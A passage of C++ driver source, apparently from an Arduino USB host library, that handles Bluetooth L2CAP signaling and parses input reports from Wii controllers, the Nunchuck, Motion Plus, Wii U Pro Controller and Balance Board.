D_PrintHex<uint8_t > (l2capinbuf[16], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n#endif\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_RESPONSE) {\n                                if(((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) && ((l2capinbuf[18] | (l2capinbuf[19] << 8)) == SUCCESSFUL)) { // Success\n                                        if(l2capinbuf[14] == control_dcid[0] && l2capinbuf[15] == control_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Control Connection Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                control_scid[0] = l2capinbuf[12];\n                                                control_scid[1] = l2capinbuf[13];\n                                                l2cap_set_flag(L2CAP_FLAG_CONTROL_CONNECTED);\n                                        } else if(l2capinbuf[14] == interrupt_dcid[0] && l2capinbuf[15] == interrupt_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Interrupt Connection Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                interrupt_scid[0] = l2capinbuf[12];\n                                                interrupt_scid[1] = l2capinbuf[13];\n                                                l2cap_set_flag(L2CAP_FLAG_INTERRUPT_CONNECTED);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nL2CAP Connection Request - PSM: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" SCID: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                Notify(PSTR(\" Identifier: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n#endif\n                                if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        control_scid[0] = l2capinbuf[14];\n                                        control_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST);\n                                } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        interrupt_scid[0] = l2capinbuf[14];\n                                        interrupt_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) {\n                                if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success\n                                        if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Control Configuration Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS);\n                                        } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Control Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid);\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Control Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid);\n                                        Reset();\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Interrupt Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid);\n                                        Reset();\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) {\n                                if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Control Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE);\n                                } else if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Interrupt Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE);\n                                }\n                        }\n#ifdef EXTRADEBUG\n                        else {\n                                identifier = l2capinbuf[9];\n                                Notify(PSTR(\"\\r\\nL2CAP Unknown Signaling Command: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[8], 0x80);\n                        }\n#endif\n                } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt\n                        //Notify(PSTR(\"\\r\\nL2CAP Interrupt\"), 0x80);\n                        if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT\n                                if((l2capinbuf[9] >= 0x20 && l2capinbuf[9] <= 0x22) || (l2capinbuf[9] >= 0x30 && l2capinbuf[9] <= 0x37) || l2capinbuf[9] == 0x3e || l2capinbuf[9] == 0x3f) { // These reports include the buttons\n                                        if((l2capinbuf[9] >= 0x20 && l2capinbuf[9] <= 0x22) || l2capinbuf[9] == 0x31 || l2capinbuf[9] == 0x33) // These reports have no extensions bytes\n                                                ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8));\n                                        else if(wiiUProControllerConnected)\n                                                ButtonState = (uint32_t)(((~l2capinbuf[23]) & 0xFE) | ((uint16_t)(~l2capinbuf[24]) << 8) | ((uint32_t)((~l2capinbuf[25]) & 0x03) << 16));\n                                        else if(motionPlusConnected) {\n                                                if(l2capinbuf[20] & 0x02) // Only update the Wiimote buttons, since the extension bytes are from the Motion Plus\n                                                        ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)(ButtonState & 0xFFFF0000)));\n                                                else if(nunchuckConnected) // Update if it's a report from the Nunchuck\n                                                        ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)((~l2capinbuf[20]) & 0x0C) << 14));\n                                                //else if(classicControllerConnected) // Update if it's a report from the Classic Controller\n                                        } else if(nunchuckConnected) // The Nunchuck is directly connected\n                                                ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8) | ((uint32_t)((~l2capinbuf[20]) & 0x03) << 16));\n                                                //else if(classicControllerConnected) // The Classic Controller is directly connected\n                                        else if(!unknownExtensionConnected)\n                                                ButtonState = (uint32_t)((l2capinbuf[10] & 0x1F) | ((uint16_t)(l2capinbuf[11] & 0x9F) << 8));\n#ifdef PRINTREPORT\n                                        Notify(PSTR(\"ButtonState: \"), 0x80);\n                                        D_PrintHex<uint32_t > (ButtonState, 0x80);\n                                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                                        if(ButtonState != OldButtonState) {\n                                                ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                                                OldButtonState = ButtonState;\n                                        }\n                                }\n                                if(l2capinbuf[9] == 0x31 || l2capinbuf[9] == 0x33 || l2capinbuf[9] == 0x35 || l2capinbuf[9] == 0x37) { // Read the accelerometer\n                                        accXwiimote = ((l2capinbuf[12] << 2) | (l2capinbuf[10] & 0x60 >> 5)) - 500;\n                                        accYwiimote = ((l2capinbuf[13] << 2) | (l2capinbuf[11] & 0x20 >> 4)) - 500;\n                                        accZwiimote = ((l2capinbuf[14] << 2) | (l2capinbuf[11] & 0x40 >> 5)) - 500;\n                                }\n                                switch(l2capinbuf[9]) {\n                                        case 0x20: // Status Information - (a1) 20 BB BB LF 00 00 VV\n#ifdef EXTRADEBUG\n                                                Notify(PSTR(\"\\r\\nStatus report was received\"), 0x80);\n#endif\n                                                wiiState = l2capinbuf[12]; // (0x01: Battery is nearly empty), (0x02:  An Extension Controller is connected), (0x04: Speaker enabled), (0x08: IR enabled), (0x10: LED1, 0x20: LED2, 0x40: LED3, 0x80: LED4)\n                                                batteryLevel = l2capinbuf[15]; // Update battery level\n\n                                                if(!checkBatteryLevel) { // If this is true it means that the user must have called getBatteryLevel()\n                                                        if(l2capinbuf[12] & 0x02) { // Check if a extension is connected\n#ifdef DEBUG_USB_HOST\n                                                                if(!unknownExtensionConnected)\n                                                                        Notify(PSTR(\"\\r\\nExtension connected\"), 0x80);\n#endif\n                                                                unknownExtensionConnected = true;\n#ifdef WIICAMERA\n                                                                if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera\n#endif\n                                                                        setReportMode(false, 0x35); // Also read the extension\n                                                        } else {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nExtension disconnected\"), 0x80);\n#endif\n                                                                if(motionPlusConnected) {\n#ifdef DEBUG_USB_HOST\n                                                                        Notify(PSTR(\" - from Motion Plus\"), 0x80);\n#endif\n                                                                        wii_clear_flag(WII_FLAG_NUNCHUCK_CONNECTED);\n                                                                        if(!activateNunchuck) // If it's already trying to initialize the Nunchuck don't set it to false\n                                                                                nunchuckConnected = false;\n                                                                        //else if(classicControllerConnected)\n                                                                } else if(nunchuckConnected) {\n#ifdef DEBUG_USB_HOST\n                                                                        Notify(PSTR(\" - Nunchuck\"), 0x80);\n#endif\n                                                                        nunchuckConnected = false; // It must be the Nunchuck controller then\n                                                                        wii_clear_flag(WII_FLAG_NUNCHUCK_CONNECTED);\n                                                                        onInit();\n#ifdef WIICAMERA\n                                                                        if(!isIRCameraEnabled()) // We still want to read from the IR camera, so do not change the report mode\n#endif\n                                                                                setReportMode(false, 0x31); // If there is no extension connected we will read the buttons and accelerometer\n                                                                } else {\n#ifdef WIICAMERA\n                                                                        if(!isIRCameraEnabled()) // We still want to read from the IR camera, so do not change the report mode\n#endif\n                                                                                setReportMode(false, 0x31); // If there is no extension connected we will read the buttons and accelerometer\n                                                                }\n                                                        }\n                                                }\n                                                else {\n#ifdef EXTRADEBUG\n                                                        Notify(PSTR(\"\\r\\nChecking battery level\"), 0x80);\n#endif\n                                                        checkBatteryLevel = false; // Check for extensions by default\n                                                }\n#ifdef DEBUG_USB_HOST\n                                                if(l2capinbuf[12] & 0x01)\n                                                        Notify(PSTR(\"\\r\\nWARNING: Battery is nearly empty\"), 0x80);\n#endif\n\n                                                break;\n                                        case 0x21: // Read Memory Data\n                                                if((l2capinbuf[12] & 0x0F) == 0) { // No error\n                                                        uint8_t reportLength = (l2capinbuf[12] >> 4) + 1; // // Bit 4-7 is the length - 1\n                                                        // See: http://wiibrew.org/wiki/Wiimote/Extension_Controllers\n                                                        if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x00 && l2capinbuf[20] == 0x00) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nNunchuck connected\"), 0x80);\n#endif\n                                                                wii_set_flag(WII_FLAG_NUNCHUCK_CONNECTED);\n                                                        } else if(l2capinbuf[16] == 0x00 && (l2capinbuf[17] == 0xA6 || l2capinbuf[17] == 0xA4) && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x00 && l2capinbuf[20] == 0x05) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nMotion Plus connected\"), 0x80);\n#endif\n                                                                wii_set_flag(WII_FLAG_MOTION_PLUS_CONNECTED);\n                                                        } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x04 && l2capinbuf[20] == 0x05) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nMotion Plus activated in normal mode\"), 0x80);\n#endif\n                                                                motionPlusConnected = true;\n#ifdef WIICAMERA\n                                                                if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera\n#endif\n                                                                        setReportMode(false, 0x35); // Also read the extension\n                                                        } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x05 && l2capinbuf[20] == 0x05) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nMotion Plus activated in Nunchuck pass-through mode\"), 0x80);\n#endif\n                                                                activateNunchuck = false;\n                                                                motionPlusConnected = true;\n                                                                nunchuckConnected = true;\n#ifdef WIICAMERA\n                                                                if(!isIRCameraEnabled()) // Don't activate the Motion Plus if we are trying to initialize the IR camera\n#endif\n                                                                        setReportMode(false, 0x35); // Also read the extension\n                                                        } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA6 && l2capinbuf[18] == 0x20 && (l2capinbuf[19] == 0x00 || l2capinbuf[19] == 0x04 || l2capinbuf[19] == 0x05 || l2capinbuf[19] == 0x07) && l2capinbuf[20] == 0x05) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nInactive Wii Motion Plus\"), 0x80);\n                                                                Notify(PSTR(\"\\r\\nPlease unplug the Motion Plus, disconnect the Wiimote and then replug the Motion Plus Extension\"), 0x80);\n#endif\n                                                                stateCounter = 300; // Skip the rest in \"WII_CHECK_MOTION_PLUS_STATE\"\n                                                        } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x01 && l2capinbuf[20] == 0x20) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nWii U Pro Controller connected\"), 0x80);\n#endif\n                                                                wiiUProControllerConnected = true;\n                                                        } else if(l2capinbuf[16] == 0x00 && l2capinbuf[17] == 0xA4 && l2capinbuf[18] == 0x20 && l2capinbuf[19] == 0x04 && l2capinbuf[20] == 0x02) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nWii Balance Board connected\"), 0x80);\n#endif\n                                                                setReportMode(false, 0x32); // Read the Wii Balance Board extension\n                                                                wii_set_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD);\n                                                        }\n                                                        // Wii Balance Board calibration reports (24 bits in total)\n                                                        else if(l2capinbuf[13] == 0x00 && l2capinbuf[14] == 0x24 && reportLength == 16) { // First 16-bit\n                                                                for(uint8_t i = 0; i < 2; i++) {\n                                                                        for(uint8_t j = 0; j < 4; j++)\n                                                                                wiiBalanceBoardCal[i][j] = l2capinbuf[16 + 8 * i + 2 * j] | l2capinbuf[15 + 8 * i + 2 * j] << 8;\n                                                                }\n                                                        } else if(l2capinbuf[13] == 0x00 && l2capinbuf[14] == 0x34 && reportLength == 8) { // Last 8-bit\n                                                                for(uint8_t j = 0; j < 4; j++)\n                                                                        wiiBalanceBoardCal[2][j] = l2capinbuf[16 + 2 * j] | l2capinbuf[15 + 2 * j] << 8;\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nWii Balance Board calibration values read successfully\"), 0x80);\n#endif\n                                                                wii_clear_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD);\n                                                                wiiBalanceBoardConnected = true;\n                                                        }\n#ifdef DEBUG_USB_HOST\n                                                        else {\n                                                                Notify(PSTR(\"\\r\\nUnknown Device: \"), 0x80);\n                                                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                                                Notify(PSTR(\"\\r\\nData: \"), 0x80);\n                                                                for(uint8_t i = 0; i < reportLength; i++) {\n                                                                        D_PrintHex<uint8_t > (l2capinbuf[15 + i], 0x80);\n                                                                        Notify(PSTR(\" \"), 0x80);\n                                                                }\n                                                        }\n#endif\n                                                }\n#ifdef EXTRADEBUG\n                                                else {\n                                                        Notify(PSTR(\"\\r\\nReport Error: \"), 0x80);\n                                                        D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                                        D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                                }\n#endif\n                                                break;\n                                        case 0x22: // Acknowledge output report, return function result\n#ifdef DEBUG_USB_HOST\n                                                if(l2capinbuf[13] != 0x00) { // Check if there is an error\n                                                        Notify(PSTR(\"\\r\\nCommand failed: \"), 0x80);\n                                                        D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                                }\n#endif\n                                                break;\n                                        case 0x30: // Core buttons - (a1) 30 BB BB\n                                                break;\n                                        case 0x31: // Core Buttons and Accelerometer - (a1) 31 BB BB AA AA AA\n                                                break;\n                                        case 0x32: // Core Buttons with 8 Extension bytes - (a1) 32 BB BB EE EE EE EE EE EE EE EE\n                                                // See: http://wiibrew.org/wiki/Wii_Balance_Board#Data_Format\n                                                wiiBalanceBoardRaw[TopRight] = l2capinbuf[13] | l2capinbuf[12] << 8; // Top right\n                                                wiiBalanceBoardRaw[BotRight] = l2capinbuf[15] | l2capinbuf[14] << 8; // Bottom right\n                                                wiiBalanceBoardRaw[TopLeft] = l2capinbuf[17] | l2capinbuf[16] << 8; // Top left\n                                                wiiBalanceBoardRaw[BotLeft] = l2capinbuf[19] | l2capinbuf[18] << 8; // Bottom left\n                                                break;\n                                        case 0x33: // Core Buttons with Accelerometer and 12 IR bytes - (a1) 33 BB BB AA AA AA II II II II II II II II II II II II\n#ifdef WIICAMERA\n                                                // Read the IR data\n                                                IR_object_x1 = (l2capinbuf[15] | ((uint16_t)(l2capinbuf[17] & 0x30) << 4)); // x position\n                                                IR_object_y1 = (l2capinbuf[16] | ((uint16_t)(l2capinbuf[17] & 0xC0) << 2)); // y position\n                                                IR_object_s1 = (l2capinbuf[17] & 0x0F); // Size value, 0-15\n\n                                                IR_object_x2 = (l2capinbuf[18] | ((uint16_t)(l2capinbuf[20] & 0x30) << 4));\n                                                IR_object_y2 = (l2capinbuf[19] | ((uint16_t)(l2capinbuf[20] & 0xC0) << 2));\n                                                IR_object_s2 = (l2capinbuf[20] & 0x0F);\n\n                                                IR_object_x3 = (l2capinbuf[21] | ((uint16_t)(l2capinbuf[23] & 0x30) << 4));\n                                                IR_object_y3 = (l2capinbuf[22] | ((uint16_t)(l2capinbuf[23] & 0xC0) << 2));\n                                                IR_object_s3 = (l2capinbuf[23] & 0x0F);\n\n                                                IR_object_x4 = (l2capinbuf[24] | ((uint16_t)(l2capinbuf[26] & 0x30) << 4));\n                                                IR_object_y4 = (l2capinbuf[25] | ((uint16_t)(l2capinbuf[26] & 0xC0) << 2));\n                                                IR_object_s4 = (l2capinbuf[26] & 0x0F);\n#endif\n                                                break;\n                                        case 0x34: // Core Buttons with 19 Extension bytes - (a1) 34 BB BB EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE\n                                                break;\n                                                /* 0x3e and 0x3f both give unknown report types when report mode is 0x3e or 0x3f with mode number 0x05 */\n                                        case 0x3E: // Core Buttons with Accelerometer and 32 IR bytes\n                                                // (a1) 31 BB BB AA AA AA II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II II\n                                                // corresponds to output report mode 0x3e\n\n                                                /**** for reading in full mode: DOES NOT WORK YET ****/\n                                                /* When it works it will also have intensity and bounding box data */\n                                                /*\n                                                IR_object_x1 = (l2capinbuf[13] | ((uint16_t)(l2capinbuf[15] & 0x30) << 4));\n                                                IR_object_y1 = (l2capinbuf[14] | ((uint16_t)(l2capinbuf[15] & 0xC0) << 2));\n                                                IR_object_s1 = (l2capinbuf[15] & 0x0F);\n                                                 */\n                                                break;\n                                        case 0x3F:\n                                                /*\n                                                IR_object_x1 = (l2capinbuf[13] | ((uint16_t)(l2capinbuf[15] & 0x30) << 4));\n                                                IR_object_y1 = (l2capinbuf[14] | ((uint16_t)(l2capinbuf[15] & 0xC0) << 2));\n                                                IR_object_s1 = (l2capinbuf[15] & 0x0F);\n                                                 */\n                                                break;\n                                        case 0x35: // Core Buttons and Accelerometer with 16 Extension Bytes\n                                                // (a1) 35 BB BB AA AA AA EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE EE\n#if 1 // Set this to 0 if you don't want to use an extension, this reduceds the size of the library a lot!\n                                                if(motionPlusConnected) {\n                                                        if(l2capinbuf[20] & 0x02) { // Check if it's a report from the Motion controller or the extension\n                                                                if(motionValuesReset) { // We will only use the values when the gyro value has been set\n                                                                        gyroYawRaw = ((l2capinbuf[15] | ((l2capinbuf[18] & 0xFC) << 6)) - gyroYawZero);\n                                                                        gyroRollRaw = ((l2capinbuf[16] | ((l2capinbuf[19] & 0xFC) << 6)) - gyroRollZero);\n                                                                        gyroPitchRaw = ((l2capinbuf[17] | ((l2capinbuf[20] & 0xFC) << 6)) - gyroPitchZero);\n\n                                                                        yawGyroSpeed = (float)gyroYawRaw / ((float)gyroYawZero / yawGyroScale);\n                                                                        rollGyroSpeed = -(float)gyroRollRaw / ((float)gyroRollZero / rollGyroScale); // We invert these values so they will fit the acc values\n                                                                        pitchGyroSpeed = (float)gyroPitchRaw / ((float)gyroPitchZero / pitchGyroScale);\n\n                                                                        /* The onboard gyro has two ranges for slow and fast mode */\n                                                                        if(!(l2capinbuf[18] & 0x02)) // Check if fast mode is used\n                                                                                yawGyroSpeed *= 4.545;\n                                                                        if(!(l2capinbuf[18] & 0x01)) // Check if fast mode is used\n                                                                                pitchGyroSpeed *= 4.545;\n                                                                        if(!(l2capinbuf[19] & 0x02)) // Check if fast mode is used\n                                                                                rollGyroSpeed *= 4.545;\n\n                                                                        compPitch = (0.93f * (compPitch + (pitchGyroSpeed * (float)((uint32_t)micros() - timer) / 1000000.0f)))+(0.07f * getWiimotePitch()); // Use a complimentary filter to calculate the angle\n                                                                        compRoll = (0.93f * (compRoll + (rollGyroSpeed * (float)((uint32_t)micros() - timer) / 1000000.0f)))+(0.07f * getWiimoteRoll());\n\n                                                                        gyroYaw += (yawGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f));\n                                                                        gyroRoll += (rollGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f));\n                                                                        gyroPitch += (pitchGyroSpeed * ((float)((uint32_t)micros() - timer) / 1000000.0f));\n                                                                        timer = (uint32_t)micros();\n                                                                        /*\n                                                                        // Uncomment these lines to tune the gyro scale variabels\n                                                                        Notify(PSTR(\"\\r\\ngyroYaw: \"), 0x80);\n                                                                        Notify(gyroYaw, 0x80);\n                                                                        Notify(PSTR(\"\\tgyroRoll: \"), 0x80);\n                                                                        Notify(gyroRoll, 0x80);\n                                                                        Notify(PSTR(\"\\tgyroPitch: \"), 0x80);\n                                                                        Notify(gyroPitch, 0x80);\n                                                                         */\n                                                                        /*\n                                                                        Notify(PSTR(\"\\twiimoteRoll: \"), 0x80);\n                                                                        Notify(wiimoteRoll, 0x80);\n                                                                        Notify(PSTR(\"\\twiimotePitch: \"), 0x80);\n                                                                        Notify(wiimotePitch, 0x80);\n                                                                         */\n                                                                } else {\n                                                                        if((int32_t)((uint32_t)micros() - timer) > 1000000) { // Loop for 1 sec before resetting the values\n#ifdef DEBUG_USB_HOST\n                                                                                Notify(PSTR(\"\\r\\nThe gyro values has been reset\"), 0x80);\n#endif\n                                                                                gyroYawZero = (l2capinbuf[15] | ((l2capinbuf[18] & 0xFC) << 6));\n                                                                                gyroRollZero = (l2capinbuf[16] | ((l2capinbuf[19] & 0xFC) << 6));\n                                                                                gyroPitchZero = (l2capinbuf[17] | ((l2capinbuf[20] & 0xFC) << 6));\n\n                                                                                rollGyroScale = 500; // You might need to adjust these\n                                                                                pitchGyroScale = 400;\n                                                                                yawGyroScale = 415;\n\n                                                                                gyroYaw = 0;\n                                                                                gyroRoll = 0;\n                                                                                gyroPitch = 0;\n\n                                                                                motionValuesReset = true;\n                                                                                timer = (uint32_t)micros();\n                                                                        }\n                                                                }\n                                                        } else {\n                                                                if(nunchuckConnected) {\n                                                                        hatValues[HatX] = l2capinbuf[15];\n                                                                        hatValues[HatY] = l2capinbuf[16];\n                                                                        accXnunchuck = ((l2capinbuf[17] << 2) | (l2capinbuf[20] & 0x10 >> 3)) - 416;\n                                                                        accYnunchuck = ((l2capinbuf[18] << 2) | (l2capinbuf[20] & 0x20 >> 4)) - 416;\n                                                                        accZnunchuck = (((l2capinbuf[19] & 0xFE) << 2) | (l2capinbuf[20] & 0xC0 >> 5)) - 416;\n                                                                }\n                                                                //else if(classicControllerConnected) { }\n                                                        }\n                                                        if(l2capinbuf[19] & 0x01) {\n                                                                if(!extensionConnected) {\n                                                                        extensionConnected = true;\n                                                                        unknownExtensionConnected = true;\n#ifdef DEBUG_USB_HOST\n                                                                        Notify(PSTR(\"\\r\\nExtension connected to Motion Plus\"), 0x80);\n#endif\n                                                                }\n                                                        } else {\n                                                                if(extensionConnected && !unknownExtensionConnected) {\n                                                                        extensionConnected = false;\n                                                                        unknownExtensionConnected = true;\n#ifdef DEBUG_USB_HOST\n                                                                        Notify(PSTR(\"\\r\\nExtension disconnected from Motion Plus\"), 0x80);\n#endif\n                                                                        nunchuckConnected = false; // There is no extension connected to the Motion Plus if this report is sent\n                                                                }\n                                                        }\n\n                                                } else if(nunchuckConnected) {\n                                                        hatValues[HatX] = l2capinbuf[15];\n                                                        hatValues[HatY] = l2capinbuf[16];\n                                                        accXnunchuck = ((l2capinbuf[17] << 2) | (l2capinbuf[20] & 0x0C >> 2)) - 416;\n                                                        accYnunchuck = ((l2capinbuf[18] << 2) | (l2capinbuf[20] & 0x30 >> 4)) - 416;\n                                                        accZnunchuck = ((l2capinbuf[19] << 2) | (l2capinbuf[20] & 0xC0 >> 6)) - 416;\n                                                } else if(wiiUProControllerConnected) {\n                                                        hatValues[LeftHatX] = (l2capinbuf[15] | l2capinbuf[16] << 8);\n                                                        hatValues[RightHatX] = (l2capinbuf[17] | l2capinbuf[18] << 8);\n                                                        hatValues[LeftHatY] = (l2capinbuf[19] | l2capinbuf[20] << 8);\n                                                        hatValues[RightHatY] = (l2capinbuf[21] | l2capinbuf[22] << 8);\n                                                }\n#endif\n                                                break;\n#ifdef DEBUG_USB_HOST\n                                        default:\n                                                Notify(PSTR(\"\\r\\nUnknown Report type: \"), 0x80);\n                                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n                                                break;\n#endif\n                                }\n                        }\n                }\n                L2CAP_task();\n        }\n}\n\nvoid WII::L2CAP_task() {\n        switch(l2cap_state) {\n                        /* These states are used if the Wiimote is the host */\n                case L2CAP_CONTROL_SUCCESS:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Successfully Configured\"), 0x80);\n#endif\n                                l2cap_state = L2CAP_INTERRUPT_SETUP;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_SETUP:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Interrupt Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid);\n\n                                l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST;\n                        }\n                        break;\n\n                        /* These states are used if the Arduino is the host */\n                case L2CAP_CONTROL_CONNECT_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONTROL_CONNECTED)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Control Config Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_config_request(hci_handle, identifier, control_scid);\n                                l2cap_state = L2CAP_CONTROL_CONFIG_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_CONFIG_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend 